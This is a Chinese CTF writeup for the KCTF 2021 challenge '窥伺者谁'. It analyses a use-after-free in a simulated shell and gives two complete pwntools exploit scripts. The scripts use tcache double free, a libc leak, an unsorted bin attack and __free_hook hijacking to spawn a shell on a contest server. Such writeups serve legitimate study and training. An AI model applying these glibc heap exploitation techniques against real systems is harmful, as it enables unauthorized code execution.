-
-
[原创]KCTF 2021秋季赛 窥伺者谁 writeup
-
2021-11-30 23:17 15326
-
题目分析
题目模拟了一个手写的shell
里面的文件系统可以分为3个结构体,name,data,text,目录具有name和data,普通文件具有三个,结构体大致如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 | struct name{ char file_name[ 0x20 ]; }; struct data{ long long is_not_dir; data * pre_dir; / / 文件这里标为 1 ,目录标为 0 data * son[ 16 ]; / / 普通文件这里不使用 name * file_name; text * file_data; / / 目录不具有此项目 } struct text{ char text[?]; } |
主要是有一个uaf的漏洞,如果创建文件夹在里面创建文件之后写内容的话,在文件夹的外面删掉这个文件会导致里面的text堆块被free,但是不清空指针。由于是2.27的libc,可以直接在tcache 中double free实现任意申请。
由于各种保护拉满,所有地址都未知,那么此时必须先想办法泄露出libc的地址,如果能泄露出libc的地址,那么可以直接double free 劫持free hook去getshell。能输出堆块上内容的基本就一个ls指令,但是它在输出之前会check目录名是否合法,合法的条件基本就是,肯定屏蔽了特殊字符和不可打印的那些字节的,如果要泄露出一个地址那么必定是会含有这些字节的。但是我注意到了echo函数,echo函数的非重定向选项会先strlen一遍那个sysbuf然后根据这个长度去泄露,并不会check上面的字节。如果我在上面带上了libc的地址那么就可以开心地泄露了。但是它这个读非常的安全,遇到\n才会截止输入并且那个\n最后会变成\0,那么唯一的绕过方法就是直接读它个0x5000的数据,然后后面放上libc的地址就可以泄露了。
那么我先double free,然后再在sysbuf上面的最后八个字节伪造成一个size,再让指针指向它free,这样等会填充0x5000个字节的时候后面直接会出现libc的地址。由于这是2.27的版本,构造unsorted bin必须要先填满tcache,且进入unsorted bin的话会对前后堆块check,所以这里我们为了check大小刚好构造为0xf1大小,然后此时再创建7个文件,并让他的text堆块对应0xf1的大小并一一删除填满tcache。这样的话free那个堆块进入unsortedbin之后就会携带libc的地址了。
需要注意,因为只有最后三位偏移固定,所以double free之后要爆破半个字节才能成功指到对应的地方去free。free之后就非常简单,直接在sysbuf上填写0x5000个字符然后echo直接输出就可以泄露出那个地址了。泄露出来了之后就很简单了,故技重施,double free劫持free_hook位system,然后删除一个带有/bin/sh字符串的文件就可以愉快地getshell了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | from pwn import * #context.log_level='debug' context.arch = 'amd64' context.os = 'linux' libc_version = '2.27' global p def conn(x,file_name,port = 9999 ,ip = '101.35.172.231' ): if x: p = process(file_name) else : p = remote(ip,port) return ELF(file_name),ELF(file_name),p def ls(name): p.sendlineafter(b '$' ,b 'ls' ) p.sendlineafter(b 'path> ' ,name) def mkdir(name): p.sendlineafter(b '$' ,b 'mkdir' ) p.sendlineafter(b 'name' ,name) def rm(name): p.sendlineafter(b '$' ,b 'rm' ) p.sendlineafter(b 'filename> ' ,name) def cd(name): p.sendlineafter(b '$' ,b 'cd' ) p.sendlineafter(b 'path> ' ,name) def echo(msg,red,path = b './' ): p.sendlineafter(b '$' ,b 'echo' ) p.sendafter(b 'arg>' ,msg) p.sendlineafter(b 'redirect?>' ,red) if red = = b 'Y' or red = = b 'y' : p.sendlineafter(b 'path> ' ,path) def touch(name): p.sendlineafter(b '$' ,b 'touch' ) p.sendlineafter(b 'filename> ' ,name) def pwn(): global p elf,libc,p = conn( 0 , './chall' ,port = 10000 ) libc = ELF( './libc.so.6' ) mkdir(b 'dir' ) cd(b 'dir' ) touch(b 'flag' ) echo(b 'a' * 0x10 + b '\n' ,b 'y' ,b 'flag' ) cd(b '..' ) for i in range ( 2 ): rm(b './dir/flag' ) gdb.attach(p) echo(p16( 0x3260 ) + b '\n' ,b 'y' , 'dir/flag' ) touch(b 'flag1' ) echo(b 'a' * 0x4ff8 + p64( 0xf1 ),b 'n' ) echo(b 'a' * 8 + b '\n' ,b 'y' ,b 'flag1' ) touch(b 'flag2' ) touch(b 'flag3' ) touch(b 'flag4' ) gdb.attach(p) echo(b '/bin/sh\0' + b '\n' ,b 'y' ,b 'flag2' ) for i in range ( 7 ): touch( str (i)) echo(b 'a' * 0xe0 + b '\n' ,b 'y' , str (i)) for i in range ( 7 ): rm( str (i)) rm(b 'flag2' ) echo(b 'a' * 0x5000 ,b 'n' ) #p.recvuntil(b'\x7f') libc_addr = u64(p.recvuntil(b '\x7f' ,timeout = 0.5 )[ - 6 :] + b '\0\0' ) - 96 - 0x10 - libc.sym[ '__malloc_hook' ] success( 'libc_addr:' + hex (libc_addr)) rm( 'dir/flag' ) echo(p64(libc_addr + libc.sym[ '__free_hook' ]) + b '\n' ,b 'y' ,b 'dir/flag' ) echo(b '/bin/sh\n' ,b 'y' ,b 'flag3' ) echo(p64(libc_addr + libc.sym[ 'system' ]) + b '\n' ,b 'y' ,b 'flag4' ) rm(b 'flag3' ) #gdb.attach(p) p.interactive() while True : try : pwn() except : continue |
后面把题目给fmyy师傅分析了一下,他给出了另外一种解法
- 因为程序打印的时候有检测是否为可见字符,而我们只需要修改一个libc地址的最后三个字节就能改到system函数,所以我们这里可以将libc地址的倒数第二字节和第三字节爆破打印出来
2.首先则是将一个文件名所在的堆块的size修改后将其释放进unsorted bin,从而fd带有libc地址,再将该地址末字节改为A,最终的效果则是libc地址改为了0x7Fnn00****41
,然后通过ls直接爆破,只要****
这两个字节位于可见字符位置,即可打印出来这两个字节,再把unsorted bin 中的chunk清空 - 重新释放一个堆块进入unsorted bin,进一步则是通过泄漏的两个字节,再次修改unsorted bin chunk的fd中的libc地址劫持到freehook
- 修改unsorted bin chunk中的bk地址,指向freehook-0x10 ,进行unsorted bin attack,利用之前泄漏的两个字节,把freehook中的libc地址改为system函数地址即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | from pwn import * def ls(name): p.sendlineafter( '$' , 'ls' ) p.sendlineafter( 'path> ' ,name) def mkdir(name): p.sendlineafter( '$' , 'mkdir' ) p.sendlineafter( 'name' ,name) def rm(name): p.sendlineafter( '$' , 'rm' ) p.sendlineafter( 'filename> ' ,name) def cd(name): p.sendlineafter( '$' , 'cd' ) p.sendlineafter( 'path> ' ,name) def echo(msg,path = './' ,red = 'Y' ): p.sendlineafter( '$' , 'echo' ) p.sendlineafter( 'arg>' ,msg) p.sendlineafter( 'redirect?>' ,red) if red = = 'Y' or red = = 'y' : p.sendlineafter( 'path> ' ,path) def touch(name): p.sendlineafter( '$' , 'touch' ) p.sendlineafter( 'filename> ' ,name) libc = ELF( './libc-2.27.so' ) while True : # p = process('./main') p = remote( '101.35.172.231' , 10000 ) try : mkdir( "dir" ) cd( "dir" ) for i in range ( 16 ): touch( 'test' + str (i)) cd( ".." ) echo( 'U' * 0x10 , 'dir/test' + str ( 2 )) echo( 'U' * 0x10 , 'dir/test' + str ( 3 )) echo( 'U' * 0x410 , 'dir/test' + str ( 4 )) echo( 'U' * 0x80 , 'dir/test' + str ( 5 )) for i in range ( 2 ): rm( 'dir/test2' ) echo( '\x00' , 'dir/test' + str ( 2 )) echo( 'FMYY' , 'dir/test' + str ( 6 )) echo(p64( 0 ) + p64( 0x491 ), 'dir/test' + str ( 7 )) for i in range ( 2 ): rm( 'dir/test2' ) echo( '\x10' , 'dir/test' + str ( 2 )) echo( 'FMYY' , 'dir/test' + str ( 8 )) echo( 'FMYY' , 'dir/test' + str ( 9 )) rm( 'dir/test9' ) echo( 'F' , 'dir/test' + str ( 9 )) for i in range ( 2 ): rm( 'dir/test2' ) echo( '\x13' , 'dir/test' + str ( 2 )) echo( 'FMYY' , 'dir/test' + str ( 10 )) echo( '\x00' , 'dir/test' + str ( 11 )) # here bruteforce the libc address and leak the two-bytes when it in the range of visiable-ascii ls( 'dir/' ) try : p.recvuntil( 'test14\n' ) libc_16bits = (u32(p.recvuntil( '\n' ,drop = True ,timeout = 0.2 ).ljust( 4 , '\x00' )) >> 8 ) # if libc_16bits = = 0 : p.close() continue log.info( 'LEAK:\t' + hex (libc_16bits)) except : p.close() continue echo( '\x00' * 0x28 + p64( 0x21 ), 'dir/test' + str ( 5 )) for i in range ( 4 ): rm( 'dir/test2' ) echo(p64( 0x21 ) * ( 0x480 / 8 ), 'dir/test' + str ( 5 )) rm( 'dir/test3' ) echo(p64( 0x31 ) * ( 0x480 / 8 ), 'dir/test' + str ( 5 )) rm( 'dir/test3' ) echo(p64( 0x441 ) * ( 0x480 / 8 ), 'dir/test' + str ( 5 )) rm( 'dir/test3' ) freehook_24bits = ((libc_16bits + 0x1C )<< 8 ) + 0xE8 echo( '\x00' * 0x48 + p64( 0x441 ) + p32(freehook_24bits)[ 0 : 3 ], 'dir/test' + str ( 5 )) echo( '\x00' * 8 + p32(freehook_24bits - 0x10 )[ 0 : 3 ] , 'dir/test' + str ( 12 )) echo( '\x00' * 8 , 'dir/test' + str ( 13 )) system_24bits = ((libc_16bits - 0x39C8 )<< 8 ) + 0x40 echo( '\x00' * 0x430 , 'dir/test' + str ( 14 )) echo(p32(system_24bits)[ 0 : 3 ], 'dir/test' + str ( 13 )) echo( '/bin/sh\x00' , 'dir/test' + str ( 14 )) rm( 'dir/test14' ) break except : p.close() pass p.interactive() |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界